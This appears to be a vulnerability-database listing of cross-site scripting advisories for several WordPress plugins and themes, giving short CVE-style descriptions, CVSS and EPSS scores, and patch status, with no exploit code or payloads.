Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WaspThemes YellowPencil Visual CSS Style Editor allows Reflected XSS.6.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Yellowpencil
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in azurecurve azurecurve Toggle Show/Hide allows Stored XSS.1.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Toggle Show Hide
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Page Builder Addons Web and WooCommerce Addons for WPBakery Builder allows Stored XSS.4.6. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Web And Woocommerce Addons For Wpbakery Builder
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gianni Porto IntoTheDark allows Reflected XSS.0.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Intothedark
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in webcodingplace Classic Addons - WPBakery Page Builder classic-addons-wpbakery-page-builder-addons. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WPBakery Page Builder
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in CryoutCreations Esotera allows Stored XSS.2.5.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Esotera
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in CryoutCreations Tempera allows Stored XSS.8.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Tempera
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Nextbricks Brickscore allows Stored XSS.4.2.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Bricksore
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Automattic GHActivity allows Stored XSS.0.0-alpha. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Ghacitivity Ghactivity
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39067

Related CWEs

MITRE ATT&CK

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